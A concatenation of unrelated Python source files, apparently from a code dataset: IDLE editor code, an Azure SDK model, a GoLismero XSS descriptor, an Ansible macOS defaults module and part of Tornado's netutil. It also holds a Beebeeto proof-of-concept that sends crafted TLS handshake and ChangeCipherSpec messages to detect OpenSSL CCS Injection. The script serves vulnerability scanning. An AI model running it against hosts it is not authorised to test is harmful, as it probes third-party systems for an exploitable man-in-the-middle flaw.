is multilined.... if self.context_use_ps1: last_line_of_prompt = sys.ps1.split('\n')[-1] else: last_line_of_prompt = '' ncharsdeleted = 0 while 1: if chars == last_line_of_prompt: break chars = chars[:-1] ncharsdeleted = ncharsdeleted + 1 have = len(chars.expandtabs(tabwidth)) if have <= want or chars[-1] not in " \t": break text.undo_block_start() text.delete("insert-%dc" % ncharsdeleted, "insert") if have < want: text.insert("insert", ' ' * (want - have)) text.undo_block_stop() return "break" def smart_indent_event(self, event): # if intraline selection: # delete it # elif multiline selection: # do indent-region # else: # indent one level text = self.text first, last = self.get_selection_indices() text.undo_block_start() try: if first and last: if index2line(first) != index2line(last): return self.indent_region_event(event) text.delete(first, last) text.mark_set("insert", first) prefix = text.get("insert linestart", "insert") raw, effective = classifyws(prefix, self.tabwidth) if raw == len(prefix): # only whitespace to the left self.reindent_to(effective + self.indentwidth) else: # tab to the next 'stop' within or to right of line's text: if self.usetabs: pad = '\t' else: effective = len(prefix.expandtabs(self.tabwidth)) n = self.indentwidth pad = ' ' * (n - effective % n) text.insert("insert", pad) text.see("insert") return "break" finally: text.undo_block_stop() def newline_and_indent_event(self, event): text = self.text first, last = self.get_selection_indices() text.undo_block_start() try: if first and last: text.delete(first, last) text.mark_set("insert", first) line = text.get("insert linestart", "insert") i, n = 0, len(line) while i < n and line[i] in " \t": i = i+1 if i == n: # the cursor is in or at leading indentation in a continuation # line; just inject an empty line at the start text.insert("insert linestart", '\n') return "break" indent = line[:i] # strip whitespace before insert point unless it's in the prompt i = 0 last_line_of_prompt = sys.ps1.split('\n')[-1] while line and line[-1] in " \t" and line != last_line_of_prompt: line = line[:-1] i = i+1 if i: text.delete("insert - %d chars" % i, "insert") # strip whitespace after insert point while text.get("insert") in " \t": text.delete("insert") # start new line text.insert("insert", '\n') # adjust indentation for continuations and block # open/close first need to find the last stmt lno = index2line(text.index('insert')) y = PyParse.Parser(self.indentwidth, self.tabwidth) if not self.context_use_ps1: for context in self.num_context_lines: startat = max(lno - context, 1) startatindex = repr(startat) + ".0" rawtext = text.get(startatindex, "insert") y.set_str(rawtext) bod = y.find_good_parse_start( self.context_use_ps1, self._build_char_in_string_func(startatindex)) if bod is not None or startat == 1: break y.set_lo(bod or 0) else: r = text.tag_prevrange("console", "insert") if r: startatindex = r[1] else: startatindex = "1.0" rawtext = text.get(startatindex, "insert") y.set_str(rawtext) y.set_lo(0) c = y.get_continuation_type() if c != PyParse.C_NONE: # The current stmt hasn't ended yet. if c == PyParse.C_STRING_FIRST_LINE: # after the first line of a string; do not indent at all pass elif c == PyParse.C_STRING_NEXT_LINES: # inside a string which started before this line; # just mimic the current indent text.insert("insert", indent) elif c == PyParse.C_BRACKET: # line up with the first (if any) element of the # last open bracket structure; else indent one # level beyond the indent of the line with the # last open bracket self.reindent_to(y.compute_bracket_indent()) elif c == PyParse.C_BACKSLASH: # if more than one line in this stmt already, just # mimic the current indent; else if initial line # has a start on an assignment stmt, indent to # beyond leftmost =; else to beyond first chunk of # non-whitespace on initial line if y.get_num_lines_in_stmt() > 1: text.insert("insert", indent) else: self.reindent_to(y.compute_backslash_indent()) else: assert 0, "bogus continuation type %r" % (c,) return "break" # This line starts a brand new stmt; indent relative to # indentation of initial line of closest preceding # interesting stmt. indent = y.get_base_indent_string() text.insert("insert", indent) if y.is_block_opener(): self.smart_indent_event(event) elif indent and y.is_block_closer(): self.smart_backspace_event(event) return "break" finally: text.see("insert") text.undo_block_stop() # Our editwin provides a is_char_in_string function that works # with a Tk text index, but PyParse only knows about offsets into # a string. This builds a function for PyParse that accepts an # offset. def _build_char_in_string_func(self, startindex): def inner(offset, _startindex=startindex, _icis=self.is_char_in_string): return _icis(_startindex + "+%dc" % offset) return inner def indent_region_event(self, event): head, tail, chars, lines = self.get_region() for pos in range(len(lines)): line = lines[pos] if line: raw, effective = classifyws(line, self.tabwidth) effective = effective + self.indentwidth lines[pos] = self._make_blanks(effective) + line[raw:] self.set_region(head, tail, chars, lines) return "break" def dedent_region_event(self, event): head, tail, chars, lines = self.get_region() for pos in range(len(lines)): line = lines[pos] if line: raw, effective = classifyws(line, self.tabwidth) effective = max(effective - self.indentwidth, 0) lines[pos] = self._make_blanks(effective) + line[raw:] self.set_region(head, tail, chars, lines) return "break" def comment_region_event(self, event): head, tail, chars, lines = self.get_region() for pos in range(len(lines) - 1): line = lines[pos] lines[pos] = '##' + line self.set_region(head, tail, chars, lines) def uncomment_region_event(self, event): head, tail, chars, lines = self.get_region() for pos in range(len(lines)): line = lines[pos] if not line: continue if line[:2] == '##': line = line[2:] elif line[:1] == '#': line = line[1:] lines[pos] = line self.set_region(head, tail, chars, lines) def tabify_region_event(self, event): head, tail, chars, lines = self.get_region() tabwidth = self._asktabwidth() if tabwidth is None: return for pos in range(len(lines)): line = lines[pos] if line: raw, effective = classifyws(line, tabwidth) ntabs, nspaces = divmod(effective, tabwidth) lines[pos] = '\t' * ntabs + ' ' * nspaces + line[raw:] self.set_region(head, tail, chars, lines) def untabify_region_event(self, event): head, tail, chars, lines = self.get_region() tabwidth = self._asktabwidth() if tabwidth is None: return for pos in range(len(lines)): lines[pos] = lines[pos].expandtabs(tabwidth) self.set_region(head, tail, chars, lines) def toggle_tabs_event(self, event): if self.askyesno( "Toggle tabs", "Turn tabs " + ("on", "off")[self.usetabs] + "?\nIndent width " + ("will be", "remains at")[self.usetabs] + " 8." + "\n Note: a tab is always 8 columns", parent=self.text): self.usetabs = not self.usetabs # Try to prevent inconsistent indentation. # User must change indent width manually after using tabs. self.indentwidth = 8 return "break" # XXX this isn't bound to anything -- see tabwidth comments ## def change_tabwidth_event(self, event): ## new = self._asktabwidth() ## if new != self.tabwidth: ## self.tabwidth = new ## self.set_indentation_params(0, guess=0) ## return "break" def change_indentwidth_event(self, event): new = self.askinteger( "Indent width", "New indent width (2-16)\n(Always use 8 when using tabs)", parent=self.text, initialvalue=self.indentwidth, minvalue=2, maxvalue=16) if new and new != self.indentwidth and not self.usetabs: self.indentwidth = new return "break" def get_region(self): text = self.text first, last = self.get_selection_indices() if first and last: head = text.index(first + " linestart") tail = text.index(last + "-1c lineend +1c") else: head = text.index("insert linestart") tail = text.index("insert lineend +1c") chars = text.get(head, tail) lines = chars.split("\n") return head, tail, chars, lines def set_region(self, head, tail, chars, lines): text = self.text newchars = "\n".join(lines) if newchars == chars: text.bell() return text.tag_remove("sel", "1.0", "end") text.mark_set("insert", head) text.undo_block_start() text.delete(head, tail) text.insert(head, newchars) text.undo_block_stop() text.tag_add("sel", head, "insert") # Make string that displays as n leading blanks. def _make_blanks(self, n): if self.usetabs: ntabs, nspaces = divmod(n, self.tabwidth) return '\t' * ntabs + ' ' * nspaces else: return ' ' * n # Delete from beginning of line to insert point, then reinsert # column logical (meaning use tabs if appropriate) spaces. def reindent_to(self, column): text = self.text text.undo_block_start() if text.compare("insert linestart", "!=", "insert"): text.delete("insert linestart", "insert") if column: text.insert("insert", self._make_blanks(column)) text.undo_block_stop() def _asktabwidth(self): return self.askinteger( "Tab width", "Columns per tab? (2-16)", parent=self.text, initialvalue=self.indentwidth, minvalue=2, maxvalue=16) # Guess indentwidth from text content. # Return guessed indentwidth. This should not be believed unless # it's in a reasonable range (e.g., it will be 0 if no indented # blocks are found). def guess_indent(self): opener, indented = IndentSearcher(self.text, self.tabwidth).run() if opener and indented: raw, indentsmall = classifyws(opener, self.tabwidth) raw, indentlarge = classifyws(indented, self.tabwidth) else: indentsmall = indentlarge = 0 return indentlarge - indentsmall # "line.col" -> line, as an int def index2line(index): return int(float(index)) # Look at the leading whitespace in s. # Return pair (# of leading ws characters, # effective # of leading blanks after expanding # tabs to width tabwidth) def classifyws(s, tabwidth): raw = effective = 0 for ch in s: if ch == ' ': raw = raw + 1 effective = effective + 1 elif ch == '\t': raw = raw + 1 effective = (effective // tabwidth + 1) * tabwidth else: break return raw, effective import tokenize _tokenize = tokenize del tokenize class IndentSearcher(object): # .run() chews over the Text widget, looking for a block opener # and the stmt following it. Returns a pair, # (line containing block opener, line containing stmt) # Either or both may be None. def __init__(self, text, tabwidth): self.text = text self.tabwidth = tabwidth self.i = self.finished = 0 self.blkopenline = self.indentedline = None def readline(self): if self.finished: return "" i = self.i = self.i + 1 mark = repr(i) + ".0" if self.text.compare(mark, ">=", "end"): return "" return self.text.get(mark, mark + " lineend+1c") def tokeneater(self, type, token, start, end, line, INDENT=_tokenize.INDENT, NAME=_tokenize.NAME, OPENERS=('class', 'def', 'for', 'if', 'try', 'while')): if self.finished: pass elif type == NAME and token in OPENERS: self.blkopenline = line elif type == INDENT and self.blkopenline: self.indentedline = line self.finished = 1 def run(self): save_tabsize = _tokenize.tabsize _tokenize.tabsize = self.tabwidth try: try: _tokenize.tokenize(self.readline, self.tokeneater) except (_tokenize.TokenError, SyntaxError): # since we cut off the tokenizer early, we can trigger # spurious errors pass finally: _tokenize.tabsize = save_tabsize return self.blkopenline, self.indentedline ### end autoindent code ### def prepstr(s): # Helper to extract the underscore from a string, e.g. # prepstr("Co_py") returns (2, "Copy"). i = s.find('_') if i >= 0: s = s[:i] + s[i+1:] return i, s keynames = { 'bracketleft': '[', 'bracketright': ']', 'slash': '/', } def get_accelerator(keydefs, eventname): keylist = keydefs.get(eventname) # issue10940: temporary workaround to prevent hang with OS X Cocoa Tk 8.5 # if not keylist: if (not keylist) or (macosxSupport.runningAsOSXApp() and eventname in { "<<open-module>>", "<<goto-line>>", "<<change-indentwidth>>"}): return "" s = keylist[0] s = re.sub(r"-[a-z]\b", lambda m: m.group().upper(), s) s = re.sub(r"\b\w+\b", lambda m: keynames.get(m.group(), m.group()), s) s = re.sub("Key-", "", s) s = re.sub("Cancel","Ctrl-Break",s) # dscherer@cmu.edu s = re.sub("Control-", "Ctrl-", s) s = re.sub("-", "+", s) s = re.sub("><", " ", s) s = re.sub("<", "", s) s = re.sub(">", "", s) return s def fixwordbreaks(root): # Make sure that Tk's double-click and next/previous word # operations use our definition of a word (i.e. an identifier) tk = root.tk tk.call('tcl_wordBreakAfter', 'a b', 0) # make sure word.tcl is loaded tk.call('set', 'tcl_wordchars', '[a-zA-Z0-9_]') tk.call('set', 'tcl_nonwordchars', '[^a-zA-Z0-9_]') def test(): root = Tk() fixwordbreaks(root) root.withdraw() if sys.argv[1:]: filename = sys.argv[1] else: filename = None edit = EditorWindow(root=root, filename=filename) edit.set_close_hook(root.quit) edit.text.bind("<<close-all-windows>>", edit.close_event) root.mainloop() root.destroy() if __name__ == '__main__': test()
ianyh/heroku-buildpack-python-opencv
vendor/.heroku/lib/python2.7/idlelib/EditorWindow.py
Python
mit
66,031
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class FlowLogStatusParameters(Model): """Parameters that define a resource to query flow log status. :param target_resource_id: The target resource where getting the flow logging status. :type target_resource_id: str """ _validation = { 'target_resource_id': {'required': True}, } _attribute_map = { 'target_resource_id': {'key': 'targetResourceId', 'type': 'str'}, } def __init__(self, target_resource_id): self.target_resource_id = target_resource_id
SUSE/azure-sdk-for-python
azure-mgmt-network/azure/mgmt/network/v2017_06_01/models/flow_log_status_parameters.py
Python
mit
1,037
#!/usr/bin/python # -*- coding: utf-8 -*- __license__ = """ GoLismero 2.0 - The web knife - Copyright (C) 2011-2014 Authors: Jekkay Hu | jekkay<@>gmail.com Daniel Garcia Garcia a.k.a cr0hn | cr0hn<@>cr0hn.com Mario Vilas | mvilas<@>gmail.com Golismero project site: http://golismero-project.com Golismero project mail: contact@golismero-project.com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. """ from . import HTTPInjection #------------------------------------------------------------------------------ class XSS(HTTPInjection): """ Cross-Site Scripting. Cross-site scripting vulnerabilities, also known as XSS, allow an attacker to inject arbitrary HTML content into a web page. Typically an attacker would inject JavaScript code in order to control the web application on behalf of the user, or redirect the user to a malicious site. There are several libraries and methods of filtering user input to prevent XSS vulnerabilities. Use whichever is provided for your current programming language and platform or, if none is available or feasible, try using third party products. As a last resort, try developing your own XSS filter using the guidelines provided by OWASP. """ DEFAULTS = HTTPInjection.DEFAULTS.copy() DEFAULTS["cwe"] = ("CWE-79", "CWE-80") DEFAULTS["cvss_base"] = "6.8" DEFAULTS["references"] = ( "https://www.owasp.org/index.php/Cross_Site_Scripting_Flaw", "https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)", "https://www.owasp.org/index.php/" "XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet", "https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet", )
golismero/golismero
golismero/api/data/vulnerability/injection/xss.py
Python
gpl-2.0
2,381
#!/usr/bin/env python # coding=utf-8 """ Site: http://www.beebeeto.com/ Framework: https://github.com/n0tr00t/Beebeeto-framework """ import time import struct import random import socket import select import urlparse from baseframe import BaseFrame from utils.common.str import hex_dump class MyPoc(BaseFrame): poc_info = { # poc相关信息 'poc': { 'id': 'poc-2014-0014', # 由Beebeeto官方编辑 'name': None, # 名称 'author': 'anonymous', # 作者 'create_date': '2014-07-16', # 编写日期 }, # 协议相关信息 'protocol': { 'name': 'ssl/tls', # 该漏洞所涉及的协议名称 'port': [443], # 该协议常用的端口号,需为int类型 'layer3_protocol': ['tcp'], # 该协议基于哪个传输层协议(tcp/udp/sctp) }, # 漏洞相关信息 'vul': { 'app_name': 'openssl', # 漏洞所涉及的应用名称 'vul_version': ['<0.9.8y', # 受漏洞影响的应用版本 ['1.0.0', '1.0.0l'], ['1.0.0', '1.0.0g']], 'type': None, # 漏洞类型 'tag': ['openssl', 'man in middle'], # 漏洞相关Tag 'desc': ''' OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCipherSpec messages,which allows man-in-the-middle attackers to trigger use of a zero-length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via a crafted TLS handshake, aka the "CCS Injection" vulnerability. ''', # 漏洞描述 'references': ['https://portal.nsfocus.com/vulnerability/list/', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html', 'https://gist.github.com/rcvalle/71f4b027d61a78c42607', ], # 参考链接 }, } def _init_user_parser(self): self.user_parser.add_option('--msgtype', dest='msg_type', action='store', type='int', default=1, help='define the 11th bype data of the handshake message. ' 'The optional values are "0", "1", "2" or "3"') self.user_parser.add_option('-p', '--port', dest='port', action='store', type='int', default=443, help='host port.') handshake_message = "" \ "\x16" \ "\x03\x01" \ "\x00\x9a" \ "\x01" \ "\x00\x00\x96" \ "\x03\x01" \ "\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00" \ "\x00\x68" \ "\xc0\x14" \ "\xc0\x13" \ "\xc0\x12" \ "\xc0\x11" \ "\xc0\x10" \ "\xc0\x0f" \ "\xc0\x0e" \ "\xc0\x0d" \ "\xc0\x0c" \ "\xc0\x0b" \ "\xc0\x0a" \ "\xc0\x09" \ "\xc0\x08" \ "\xc0\x07" \ "\xc0\x06" \ "\xc0\x05" \ "\xc0\x04" \ "\xc0\x03" \ "\xc0\x02" \ "\xc0\x01" \ "\x00\x39" \ "\x00\x38" \ "\x00\x37" \ "\x00\x36" \ "\x00\x35" \ "\x00\x33" \ "\x00\x32" \ "\x00\x31" \ "\x00\x30" \ "\x00\x2f" \ "\x00\x16" \ "\x00\x15" \ "\x00\x14" \ "\x00\x13" \ "\x00\x12" \ "\x00\x11" \ "\x00\x10" \ "\x00\x0f" \ "\x00\x0e" \ "\x00\x0d" \ "\x00\x0c" \ "\x00\x0b" \ "\x00\x0a" \ "\x00\x09" \ "\x00\x08" \ "\x00\x07" \ "\x00\x06" \ "\x00\x05" \ "\x00\x04" \ "\x00\x03" \ "\x00\x02" \ "\x00\x01" \ "\x01" \ "\x00" \ "\x00\x05" \ "\x00\x0f" \ "\x00\x01" \ "\x01" ccs_message = "" \ "\x14" \ "\x03\x01" \ "\x00\x01" \ "\x01" @staticmethod def modify_str(str1, index, value): return str1[:index] + value + str1[index + 1:] @classmethod def verify(cls, args): options = args['options'] if options['msg_type'] == 1: handshake_message = cls.modify_str(cls.handshake_message, 10, '\x02') elif options['msg_type'] == 2: handshake_message = cls.modify_str(cls.handshake_message, 10, '\x03') elif options['msg_type'] == 3: handshake_message = cls.modify_str(cls.handshake_message, 2, '\x00') handshake_message = cls.modify_str(handshake_message, 10, '\x00') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.settimeout(5) if options['target'].startswith('https://') or options['target'].startswith('http://'): host = urlparse.urlparse(options['target']).netloc else: host = options['target'] ip = socket.gethostbyname(host) s.connect((host, options['port'])) if options['verbose']: print "connected to %s:%d\n\n" % (host, options['port']) handshake_message = handshake_message[:11] + \ struct.pack('!I', int(time.time())) + \ handshake_message[15:] for i in xrange(28): handshake_message = cls.modify_str(handshake_message, 15 + i, struct.pack("B", random.randint(0, 255) & 0xff)) s.send(handshake_message) if options['verbose']: print hex_dump(handshake_message) print "%d bytes sent\n\n" % len(handshake_message) rlists = [s] wlists = [] buf_size = 16384 ccs_sent = 0 while True: rs, ws, es = select.select(rlists, wlists, rlists, 10) if not(rs or ws or es): if options['verbose']: print '\ntimeout...' args['poc_ret'] = 'timeout' args['success'] = False return args buf = s.recv(buf_size) if options['verbose']: print hex_dump(buf) print "%d bytes received\n\n" % len(buf) if ccs_sent: for i in xrange(len(buf)): if ( buf[i] == '\x15' and # alert buf[i + 1] == '\x03' and buf[i + 5] == '\x02'): # fatal if (buf[i + 6] == '\x0a'): # unexpected_message if options['verbose']: print "%s: Not Vulnerable\n" % host args['success'] = False return args else: break break else: for i in xrange(len(buf)): if ( buf[i] == '\x16' and # handshake buf[i + 1] == '\x03' and buf[i + 5] == '\x02' and # server_hello buf[i + 9] == '\x03'): ccs_message = cls.modify_str(cls.ccs_message, 2, buf[i + 10]) # Use the protocol version sent by the server. if ( buf[i] == '\x16' and # handshake buf[i + 1] == '\x03' and buf[i + 3] == '\x00' and buf[i + 4] == '\x04' and buf[i + 5] == '\x0e' and # server_hello_done buf[i + 6] == '\x00' and buf[i + 7] == '\x00' and buf[i + 8] == '\x00'): # Send the change cipher spec message twice to force # an alert in the case the server is not patched. s.send(ccs_message) if options['verbose']: print hex_dump(ccs_message) print "%d bytes sent\n\n" % len(ccs_message) s.send(ccs_message) if options['verbose']: print hex_dump(ccs_message) print "%d bytes sent\n\n" % len(ccs_message) ccs_sent += 1 if options['verbose']: print "%s\n%s\nVulnerable\n" % (options['target'], host) args['success'] = True return args exploit = verify # the poc fuction and exp fuction are the same if __name__ == '__main__': from pprint import pprint mp = MyPoc() pprint(mp.run())
forbidden-ali/Beebeeto-framework
demo/openssl_man_in_middle.py
Python
gpl-2.0
9,009
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2014, GeekChimp - Franck Nijhof <franck@geekchimp.com> # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. ANSIBLE_METADATA = {'status': ['stableinterface'], 'supported_by': 'community', 'version': '1.0'} DOCUMENTATION = ''' --- module: osx_defaults author: Franck Nijhof (@frenck) short_description: osx_defaults allows users to read, write, and delete Mac OS X user defaults from Ansible description: - osx_defaults allows users to read, write, and delete Mac OS X user defaults from Ansible scripts. Mac OS X applications and other programs use the defaults system to record user preferences and other information that must be maintained when the applications aren't running (such as default font for new documents, or the position of an Info panel). version_added: "2.0" options: domain: description: - The domain is a domain name of the form com.companyname.appname. required: false default: NSGlobalDomain host: description: - The host on which the preference should apply. The special value "currentHost" corresponds to the "-currentHost" switch of the defaults commandline tool. required: false default: null version_added: "2.1" key: description: - The key of the user preference required: true type: description: - The type of value to write. required: false default: string choices: [ "array", "bool", "boolean", "date", "float", "int", "integer", "string" ] array_add: description: - Add new elements to the array for a key which has an array as its value. required: false default: false choices: [ "true", "false" ] value: description: - The value to write. Only required when state = present. required: false default: null state: description: - The state of the user defaults required: false default: present choices: [ "present", "absent" ] notes: - Apple Mac caches defaults. You may need to logout and login to apply the changes. ''' EXAMPLES = ''' - osx_defaults: domain: com.apple.Safari key: IncludeInternalDebugMenu type: bool value: true state: present - osx_defaults: domain: NSGlobalDomain key: AppleMeasurementUnits type: string value: Centimeters state: present - osx_defaults: domain: com.apple.screensaver host: currentHost key: showClock type: int value: 1 - osx_defaults: key: AppleMeasurementUnits type: string value: Centimeters - osx_defaults: key: AppleLanguages type: array value: - en - nl - osx_defaults: domain: com.geekchimp.macable key: ExampleKeyToRemove state: absent ''' import datetime from ansible.module_utils.basic import * from ansible.module_utils.pycompat24 import get_exception # exceptions --------------------------------------------------------------- {{{ class OSXDefaultsException(Exception): pass # /exceptions -------------------------------------------------------------- }}} # class MacDefaults -------------------------------------------------------- {{{ class OSXDefaults(object): """ Class to manage Mac OS user defaults """ # init ---------------------------------------------------------------- {{{ """ Initialize this module. Finds 'defaults' executable and preps the parameters """ def __init__(self, **kwargs): # Initial var for storing current defaults value self.current_value = None # Just set all given parameters for key, val in kwargs.items(): setattr(self, key, val) # Try to find the defaults executable self.executable = self.module.get_bin_path( 'defaults', required=False, opt_dirs=self.path.split(':'), ) if not self.executable: raise OSXDefaultsException("Unable to locate defaults executable.") # When state is present, we require a parameter if self.state == "present" and self.value is None: raise OSXDefaultsException("Missing value parameter") # Ensure the value is the correct type self.value = self._convert_type(self.type, self.value) # /init --------------------------------------------------------------- }}} # tools --------------------------------------------------------------- {{{ """ Converts value to given type """ def _convert_type(self, type, value): if type == "string": return str(value) elif type in ["bool", "boolean"]: if isinstance(value, basestring): value = value.lower() if value in [True, 1, "true", "1", "yes"]: return True elif value in [False, 0, "false", "0", "no"]: return False raise OSXDefaultsException("Invalid boolean value: {0}".format(repr(value))) elif type == "date": try: return datetime.datetime.strptime(value.split("+")[0].strip(), "%Y-%m-%d %H:%M:%S") except ValueError: raise OSXDefaultsException( "Invalid date value: {0}. Required format yyy-mm-dd hh:mm:ss.".format(repr(value)) ) elif type in ["int", "integer"]: if not str(value).isdigit(): raise OSXDefaultsException("Invalid integer value: {0}".format(repr(value))) return int(value) elif type == "float": try: value = float(value) except ValueError: raise OSXDefaultsException("Invalid float value: {0}".format(repr(value))) return value elif type == "array": if not isinstance(value, list): raise OSXDefaultsException("Invalid value. Expected value to be an array") return value raise OSXDefaultsException('Type is not supported: {0}'.format(type)) """ Returns a normalized list of commandline arguments based on the "host" attribute """ def _host_args(self): if self.host is None: return [] elif self.host == 'currentHost': return ['-currentHost'] else: return ['-host', self.host] """ Returns a list containing the "defaults" executable and any common base arguments """ def _base_command(self): return [self.executable] + self._host_args() """ Converts array output from defaults to an list """ @staticmethod def _convert_defaults_str_to_list(value): # Split output of defaults. Every line contains a value value = value.splitlines() # Remove first and last item, those are not actual values value.pop(0) value.pop(-1) # Remove extra spaces and comma (,) at the end of values value = [re.sub(',$', '', x.strip(' ')) for x in value] return value # /tools -------------------------------------------------------------- }}} # commands ------------------------------------------------------------ {{{ """ Reads value of this domain & key from defaults """ def read(self): # First try to find out the type rc, out, err = self.module.run_command(self._base_command() + ["read-type", self.domain, self.key]) # If RC is 1, the key does not exists if rc == 1: return None # If the RC is not 0, then terrible happened! Ooooh nooo! if rc != 0: raise OSXDefaultsException("An error occurred while reading key type from defaults: " + out) # Ok, lets parse the type from output type = out.strip().replace('Type is ', '') # Now get the current value rc, out, err = self.module.run_command(self._base_command() + ["read", self.domain, self.key]) # Strip output out = out.strip() # An non zero RC at this point is kinda strange... if rc != 0: raise OSXDefaultsException("An error occurred while reading key value from defaults: " + out) # Convert string to list when type is array if type == "array": out = self._convert_defaults_str_to_list(out) # Store the current_value self.current_value = self._convert_type(type, out) """ Writes value to this domain & key to defaults """ def write(self): # We need to convert some values so the defaults commandline understands it if isinstance(self.value, bool): if self.value: value = "TRUE" else: value = "FALSE" elif isinstance(self.value, (int, float)): value = str(self.value) elif self.array_add and self.current_value is not None: value = list(set(self.value) - set(self.current_value)) elif isinstance(self.value, datetime.datetime): value = self.value.strftime('%Y-%m-%d %H:%M:%S') else: value = self.value # When the type is array and array_add is enabled, morph the type :) if self.type == "array" and self.array_add: self.type = "array-add" # All values should be a list, for easy passing it to the command if not isinstance(value, list): value = [value] rc, out, err = self.module.run_command(self._base_command() + ['write', self.domain, self.key, '-' + self.type] + value) if rc != 0: raise OSXDefaultsException('An error occurred while writing value to defaults: ' + out) """ Deletes defaults key from domain """ def delete(self): rc, out, err = self.module.run_command(self._base_command() + ['delete', self.domain, self.key]) if rc != 0: raise OSXDefaultsException("An error occurred while deleting key from defaults: " + out) # /commands ----------------------------------------------------------- }}} # run ----------------------------------------------------------------- {{{ """ Does the magic! :) """ def run(self): # Get the current value from defaults self.read() # Handle absent state if self.state == "absent": if self.current_value is None: return False if self.module.check_mode: return True self.delete() return True # There is a type mismatch! Given type does not match the type in defaults value_type = type(self.value) if self.current_value is not None and not isinstance(self.current_value, value_type): raise OSXDefaultsException("Type mismatch. Type in defaults: " + type(self.current_value).__name__) # Current value matches the given value. Nothing need to be done. Arrays need extra care if self.type == "array" and self.current_value is not None and not self.array_add and \ set(self.current_value) == set(self.value): return False elif self.type == "array" and self.current_value is not None and self.array_add and \ len(list(set(self.value) - set(self.current_value))) == 0: return False elif self.current_value == self.value: return False if self.module.check_mode: return True # Change/Create/Set given key/value for domain in defaults self.write() return True # /run ---------------------------------------------------------------- }}} # /class MacDefaults ------------------------------------------------------ }}} # main -------------------------------------------------------------------- {{{ def main(): module = AnsibleModule( argument_spec=dict( domain=dict( default="NSGlobalDomain", required=False, ), host=dict( default=None, required=False, ), key=dict( default=None, ), type=dict( default="string", required=False, choices=[ "array", "bool", "boolean", "date", "float", "int", "integer", "string", ], ), array_add=dict( default=False, required=False, type='bool', ), value=dict( default=None, required=False, ), state=dict( default="present", required=False, choices=[ "absent", "present" ], ), path=dict( default="/usr/bin:/usr/local/bin", required=False, ) ), supports_check_mode=True, ) domain = module.params['domain'] host = module.params['host'] key = module.params['key'] type = module.params['type'] array_add = module.params['array_add'] value = module.params['value'] state = module.params['state'] path = module.params['path'] try: defaults = OSXDefaults(module=module, domain=domain, host=host, key=key, type=type, array_add=array_add, value=value, state=state, path=path) changed = defaults.run() module.exit_json(changed=changed) except OSXDefaultsException: e = get_exception() module.fail_json(msg=e.message) # /main ------------------------------------------------------------------- }}} if __name__ == '__main__': main()
kaarolch/ansible
lib/ansible/modules/system/osx_defaults.py
Python
gpl-3.0
14,430
#!/usr/bin/env python # # Copyright 2011 Facebook # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Miscellaneous network utility code.""" from __future__ import absolute_import, division, print_function, with_statement import errno import os import platform import socket import stat from tornado.concurrent import dummy_executor, run_on_executor from tornado.ioloop import IOLoop from tornado.platform.auto import set_close_exec from tornado.util import u, Configurable, errno_from_exception try: import ssl except ImportError: # ssl is not available on Google App Engine ssl = None if hasattr(ssl, 'match_hostname') and hasattr(ssl, 'CertificateError'): # python 3.2+ ssl_match_hostname = ssl.match_hostname SSLCertificateError = ssl.CertificateError elif ssl is None: ssl_match_hostname = SSLCertificateError = None else: import backports.ssl_match_hostname ssl_match_hostname = backports.ssl_match_hostname.match_hostname SSLCertificateError = backports.ssl_match_hostname.CertificateError # ThreadedResolver runs getaddrinfo on a thread. If the hostname is unicode, # getaddrinfo attempts to import encodings.idna. If this is done at # module-import time, the import lock is already held by the main thread, # leading to deadlock. Avoid it by caching the idna encoder on the main # thread now. u('foo').encode('idna') # These errnos indicate that a non-blocking operation must be retried # at a later time. On most platforms they're the same value, but on # some they differ. _ERRNO_WOULDBLOCK = (errno.EWOULDBLOCK, errno.EAGAIN) if hasattr(errno, "WSAEWOULDBLOCK"): _ERRNO_WOULDBLOCK += (errno.WSAEWOULDBLOCK,) def bind_sockets(port, address=None, family=socket.AF_UNSPEC, backlog=128, flags=None): """Creates listening sockets bound to the given port and address. Returns a list of socket objects (multiple sockets are returned if the given address maps to multiple IP addresses, which is most common for mixed IPv4 and IPv6 use). Address may be either an IP address or hostname. If it's a hostname, the server will listen on all IP addresses associated with the name. Address may be an empty string or None to listen on all available interfaces. Family may be set to either `socket.AF_INET` or `socket.AF_INET6` to restrict to IPv4 or IPv6 addresses, otherwise both will be used if available. The ``backlog`` argument has the same meaning as for `socket.listen() <socket.socket.listen>`. ``flags`` is a bitmask of AI_* flags to 